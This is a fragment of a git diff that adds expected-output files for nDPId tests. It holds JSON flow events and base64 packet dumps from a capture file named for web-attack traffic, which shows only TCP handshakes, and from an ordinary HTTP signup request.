+00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":9315,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":616,"flow_packet_id":6,"flow_first_seen":1499348020357,"flow_last_seen":1499348025907,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35128,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":9315,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":617,"flow_packet_id":6,"flow_first_seen":1499348021660,"flow_last_seen":1499348026908,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35142,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":9315,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":617,"flow_packet_id":6,"flow_first_seen":1499348021660,"flow_last_seen":1499348026908,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35142,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":9315,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":618,"flow_packet_id":6,"flow_first_seen":1499348024206,"flow_last_seen":1499348029909,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35168,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":9315,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":618,"flow_packet_id":6,"flow_first_seen":1499348024206,"flow_last_seen":1499348029909,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35168,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":9315,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":619,"flow_packet_id":6,"flow_first_seen":1499348025497,"flow_last_seen":1499348030909,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35182,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":9315,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":619,"flow_packet_id":6,"flow_first_seen":1499348025497,"flow_last_seen":1499348030909,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35182,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9318,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":658,"flow_packet_id":1,"flow_first_seen":1499348092675,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35884,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":658,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9318,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348092,"pkt_ts_usec":675432,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8WzpAAD4GapasEAABwKgKMowsAFACaGm0AAAAAKACchAyoAAAAgQFtAQCCAoBPTKOAAAAAAEDAwc="} +00444{"flow_id":658,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9319,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348092,"pkt_ts_usec":675522,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQjCznHw5PAmhptaAScSA2JwAAAgQFtAQCCAoD5wQCAT0yjgEDAwc="} +00432{"flow_id":658,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9320,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348092,"pkt_ts_usec":676318,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0WztAAD4Gap2sEAABwKgKMowsAFACaGm15x8OUIAQAOXVLgAAAQEICgE9Mo4D5wQC"} +00432{"flow_id":655,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9324,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348092,"pkt_ts_usec":923760,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Wl1AAD4Ga3usEAABwKgKMov2AFAj3nfL6BRZY4ARAOVejgAAAQEICgE9MswD5v8F"} +00433{"flow_id":655,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9325,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348092,"pkt_ts_usec":924025,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0XSNAAEAGZrXAqAoyrBAAAQBQi\/boFFljI953zIARAONZVAAAAQEICgPnBEABPTLM"} +00432{"flow_id":655,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9326,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348092,"pkt_ts_usec":924755,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Wl5AAD4Ga3qsEAABwKgKMov2AFAj3nfM6BRZZIAQAOVZUgAAAQEICgE9MswD5wRA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9336,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":659,"flow_packet_id":1,"flow_first_seen":1499348095258,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35910,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":659,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9336,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348095,"pkt_ts_usec":258740,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8kglAAD4GM8esEAABwKgKMoxGAFCLy6cdAAAAAKACchBpMwAAAgQFtAQCCAoBPTUUAAAAAAEDAwc="} +00444{"flow_id":659,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9337,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348095,"pkt_ts_usec":258898,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQjEYHlr2li8unHqAScSCaZwAAAgQFtAQCCAoD5waIAT01FAEDAwc="} +00432{"flow_id":659,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9338,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348095,"pkt_ts_usec":259488,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0kgpAAD4GM86sEAABwKgKMoxGAFCLy6ceB5a9poAQAOU5bwAAAQEICgE9NRQD5waI"} +00432{"flow_id":656,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9342,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348095,"pkt_ts_usec":923720,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0nGxAAD4GKWysEAABwKgKMowQAFDWkax5Llm4x4ARAOXL+wAAAQEICgE9NboD5wGF"} +00433{"flow_id":656,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9343,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348095,"pkt_ts_usec":923937,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0v+lAAEAGA+\/AqAoyrBAAAQBQjBAuWbjH1pGseoARAOPGUwAAAQEICgPnBy4BPTW6"} +00432{"flow_id":656,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9344,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348095,"pkt_ts_usec":924670,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0nG1AAD4GKWusEAABwKgKMowQAFDWkax6Llm4yIAQAOXGUQAAAQEICgE9NboD5wcu"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9348,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":660,"flow_packet_id":1,"flow_first_seen":1499348096595,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35924,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":660,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9348,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348096,"pkt_ts_usec":595051,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8gtxAAD4GQvSsEAABwKgKMoxUAFDl8LS+AAAAAKACchAAEQAAAgQFtAQCCAoBPTZiAAAAAAEDAwc="} +00444{"flow_id":660,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9349,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348096,"pkt_ts_usec":595195,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQjFQs5xqq5fC0v6AScSCtoQAAAgQFtAQCCAoD5wfWAT02YgEDAwc="} +00433{"flow_id":660,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9350,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348096,"pkt_ts_usec":595952,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0gt1AAD4GQvusEAABwKgKMoxUAFDl8LS\/LOcaq4AQAOVMqQAAAQEICgE9NmID5wfW"} +00433{"flow_id":657,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9354,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348096,"pkt_ts_usec":924035,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0nrlAAD4GJx+sEAABwKgKMoweAFAj3q\/mHZupKYARAOWZVQAAAQEICgE9NrQD5wLG"} +00432{"flow_id":657,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9355,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348096,"pkt_ts_usec":924250,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0oQFAAEAGItfAqAoyrBAAAQBQjB4dm6kpI96v54ARAOOT9AAAAQEICgPnCCgBPTa0"} +00433{"flow_id":657,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9356,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348096,"pkt_ts_usec":924818,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0nrpAAD4GJx6sEAABwKgKMoweAFAj3q\/nHZupKoAQAOWT8gAAAQEICgE9NrQD5wgo"} +00432{"flow_id":658,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9363,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348097,"pkt_ts_usec":925100,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0WzxAAD4GapysEAABwKgKMowsAFACaGm15x8OUIARAOXQDQAAAQEICgE9N64D5wQC"} +00432{"flow_id":658,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9364,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348097,"pkt_ts_usec":925281,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0B3JAAEAGvGbAqAoyrBAAAQBQjCznHw5QAmhptoARAOPK7gAAAQEICgPnCSIBPTeu"} +00432{"flow_id":658,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9365,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348097,"pkt_ts_usec":925853,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Wz1AAD4GapusEAABwKgKMowsAFACaGm25x8OUYAQAOXK6wAAAQEICgE9N68D5wki"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9369,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":661,"flow_packet_id":1,"flow_first_seen":1499348099359,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":35950,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":661,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9369,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348099,"pkt_ts_usec":359601,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8tSBAAD4GELCsEAABwKgKMoxuAFCNr4w1AAAAAKACchB+DgAAAgQFtAQCCAoBPTkVAAAAAAEDAwc="} +00444{"flow_id":661,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9370,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348099,"pkt_ts_usec":359726,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQjG7WE+F5ja+MNqAScSC47wAAAgQFtAQCCAoD5wqJAT05FQEDAwc="} +00432{"flow_id":661,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9371,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499348099,"pkt_ts_usec":360303,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0tSFAAD4GELesEAABwKgKMoxuAFCNr4w21hPheoAQAOVX9wAAAQEICgE9ORUD5wqJ"} diff --git a/test/results/aimini-http.pcap.out b/test/results/aimini-http.pcap.out new file mode 100644 index 000000000..c314298d5 --- /dev/null +++ b/test/results/aimini-http.pcap.out @@ -0,0 +1,66 @@ +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5,"source":"aimini-http.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1614860229383,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"10.101.0.2","dst_ip":"10.102.0.2","src_port":28501,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":383219,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"5kBKB+riApXG95NLCABFAAAwBPkAAIAGAAAKZQACCmYAAm9VAFCbu4XRAAAAAHACgAEU8QAAAgQFtAMDAQA="} +00422{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":383751,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ApXG95WRWgXZu6TVCABFAAAwBPkAAH8GIgEKZQACCmYAAm9VAFCbu4XRAAAAAHACgAFeHQAAAgQFtAMDAQA="} +00422{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":384335,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"WgXZu6TVApXG95WRCABFAAAwBQQAAIAGAAAKZgACCmUAAgBQb1Wbu5n7m7uF0nASgAEU8QAAAgQFtAMDAQA="} +00423{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":384749,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ApXG95NL5kBKB+riCABFAAAwBQQAAH8GIfYKZgACCmUAAgBQb1Wbu5n7m7uF0nASgAEoVQAAAgQFtAMDAQA="} +00420{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":384755,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"5kBKB+riApXG95NLCABFAAAoBPoAAIAGAAAKZQACCmYAAm9VAFCbu4XSm7uZ\/FAQgAEU6QAAAAAAAAAA"} +01211{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":384782,"pkt_caplen":649,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":649,"pkt_l4_len":615,"pkt":"5kBKB+riApXG95NLCABFAAJ7BPsAAIAGAAAKZQACCmYAAm9VAFCbu4XSm7uZ\/FAYgAEXPAAAR0VUIC9tZW1iZXIvc2lnbnVwLyBIVFRQLzEuMQ0KWC1NVS1TZXNzaW9uLUlEOiA4MTA0NDY0NjkNCkhvc3Q6IHd3dy5haW1pbmkubmV0DQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA2LjE7IGVuLVVTOyBydjoxLjkuMi4xNykgR2Vja28vMjAxMTA0MjAgRmlyZWZveC8zLjYuMTcNCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLXVzLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsZGVmbGF0ZQ0KQWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0KS2VlcC1BbGl2ZTogMTE1DQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpSZWZlcmVyOiBodHRwOi8vd3d3LmFpbWluaS5uZXQvDQpDb29raWU6IEFOSUQ9M3RIOXlGZWt2WVIyd2dEMmlqTm1yYXUxMzk5YTN1Y3B2aDB1NkJYdkd0bkswVWEzMXlFNzVpUzRTcjJTS1ZKVzsgQUNQTD0zcXozOEozcWJqUVZXYlZ1Vk55WmVGeDlUSjJjNTN0WnU2dk1FWFRTWmx3eDROenNzbHg3OEdaZGtycDlBdFFKDQoNCg=="} +00729{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":12,"source":"aimini-http.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":6,"flow_first_seen":1614860229383,"flow_last_seen":1614860229384,"flow_tot_l4_data_len":747,"flow_min_l4_data_len":20,"flow_max_l4_data_len":615,"flow_avg_l4_data_len":124,"midstream":0,"l3_proto":"ip4","src_ip":"10.101.0.2","dst_ip":"10.102.0.2","src_port":28501,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"www.aimini.net","url":"www.aimini.net\/member\/signup\/","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.17) Gecko\/20110420 Firefox\/3.6.17"}} +00420{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":385479,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ApXG95WRWgXZu6TVCABFAAAoBPoAAH8GIggKZQACCmYAAm9VAFCbu4XSm7uZ\/FAQgAFUGQAAAAAAAAAA"} +01211{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":385584,"pkt_caplen":649,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":649,"pkt_l4_len":615,"pkt":"ApXG95WRWgXZu6TVCABFAAJ7BPsAAH8GH7QKZQACCmYAAm9VAFCbu4XSm7uZ\/FAYgAEVCwAAR0VUIC9tZW1iZXIvc2lnbnVwLyBIVFRQLzEuMQ0KWC1NVS1TZXNzaW9uLUlEOiA4MTA0NDY0NjkNCkhvc3Q6IHd3dy5haW1pbmkubmV0DQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA2LjE7IGVuLVVTOyBydjoxLjkuMi4xNykgR2Vja28vMjAxMTA0MjAgRmlyZWZveC8zLjYuMTcNCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLXVzLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsZGVmbGF0ZQ0KQWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0KS2VlcC1BbGl2ZTogMTE1DQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpSZWZlcmVyOiBodHRwOi8vd3d3LmFpbWluaS5uZXQvDQpDb29raWU6IEFOSUQ9M3RIOXlGZWt2WVIyd2dEMmlqTm1yYXUxMzk5YTN1Y3B2aDB1NkJYdkd0bkswVWEzMXlFNzVpUzRTcjJTS1ZKVzsgQUNQTD0zcXozOEozcWJqUVZXYlZ1Vk55WmVGeDlUSjJjNTN0WnU2dk1FWFRTWmx3eDROenNzbHg3OEdaZGtycDlBdFFKDQoNCg=="} 